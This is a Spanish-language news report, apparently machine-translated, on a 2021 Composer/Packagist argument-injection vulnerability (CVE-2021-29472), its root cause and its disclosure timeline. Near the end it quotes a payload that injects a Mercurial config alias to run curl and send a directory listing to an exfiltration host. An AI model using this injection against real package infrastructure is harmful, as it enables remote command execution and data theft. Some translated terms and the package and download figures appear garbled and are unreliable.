Vulnerabilidad en el administrador de paquetes Composer que permite comprometer el repositorio PHP de Packagist

Se ha identificado una vulnerabilidad crítica (CVE-2021-29472) en el administrador de dependencias de Composer que permite ejecutar comandos arbitrarios en el sistema al procesar un paquete con un valor de URL con formato especial que especifica la dirección para descargar el código fuente. El problema ocurre en los componentes GitDriver, SvnDriver y HgDriver que se usan cuando se usan los sistemas de control de fuente Git, Subversion y Mercurial. La vulnerabilidad se resolvió en las versiones 1.10.22 y 2.0.13 de Composer.

Cabe señalar específicamente que el problema afectó principalmente al repositorio de paquetes predeterminado de Composer, Packagist, que contiene 306 paquetes para desarrolladores de PHP y ofrece más de 1.4 millones de descargas por mes. El experimento demostró que si había conocimiento del problema, los atacantes podrían hacerse con el control de la infraestructura de Packagist e interceptar las credenciales de los mantenedores o redirigir las descargas de paquetes a un servidor de terceros, organizando la entrega de variantes de paquetes con cambios maliciosos para sustituir una puerta trasera. durante el proceso de instalación de la dependencia.

El peligro para los usuarios finales se limita al hecho de que el contenido de compositor.json suele ser determinado por el usuario y los enlaces de origen se transmiten al acceder a repositorios de terceros, que suelen ser fiables. El golpe principal recayó en el repositorio Packagist.org y en el servicio Private Packagist, que llamó a Composer con la transferencia de datos recibidos de los usuarios. Los atacantes podrían ejecutar su código en los servidores Packagist colocando un paquete especialmente diseñado.

El equipo de Packagist solucionó la vulnerabilidad dentro de las 12 horas posteriores al informe de la vulnerabilidad. Los investigadores notificaron en privado a los desarrolladores de Packagist el 22 de abril y el problema se solucionó ese mismo día. El 27 de abril se publicó una actualización pública de Composer que aborda la vulnerabilidad, y los detalles se revelaron el 28 de abril. Una auditoría de los registros en los servidores de Packagist no reveló ninguna actividad sospechosa relacionada con la vulnerabilidad.

El problema se debe a un error en el código de validación de URL en el archivo raíz compositor.json y en los enlaces de descarga de fuentes. El error ha estado presente en el código desde noviembre de 2011. Packagist utiliza capas especiales para organizar la carga de código sin estar vinculado a un sistema de control de fuente específico, que se ejecutan llamando a "fromShellCommandline" y pasando argumentos de línea de comando. Por ejemplo, para git, se llama al comando "git ls-remote -heads $URL", donde la URL se procesa utilizando el método "ProcessExecutor::escape($url)", escapando de construcciones potencialmente peligrosas como "$(. ..)" o "`...`".

El núcleo del problema es que el método ProcessExecutor::escape no escapó de la secuencia “—”, lo que permitió especificar cualquier parámetro de llamada adicional en la URL. Este tipo de escape faltaba en los controladores GitDriver.php, SvnDriver.php y HgDriver.php. El ataque a GitDriver.php se vio obstaculizado por el hecho de que el comando “git ls-remote” no permitía especificar argumentos adicionales después de la ruta. Un ataque a HgDriver.php resultó posible pasando el parámetro “--config” a la utilidad “hq”, que le permite organizar la ejecución de cualquier comando manipulando la configuración “alias.identify”. Por ejemplo, para descargar y ejecutar código ejecutando la utilidad curl, puede especificar: —config=alias.identify=!curl http://exfiltración-host.tld —data “$(ls -alh)”

Al publicar un paquete de prueba con una URL similar a Packagist, los investigadores verificaron que después de la publicación, su servidor recibió una solicitud HTTP de uno de los servidores Packagist en AWS que contenía una lista de archivos en el directorio actual.

Fuente: opennet.ru

Añadir un comentario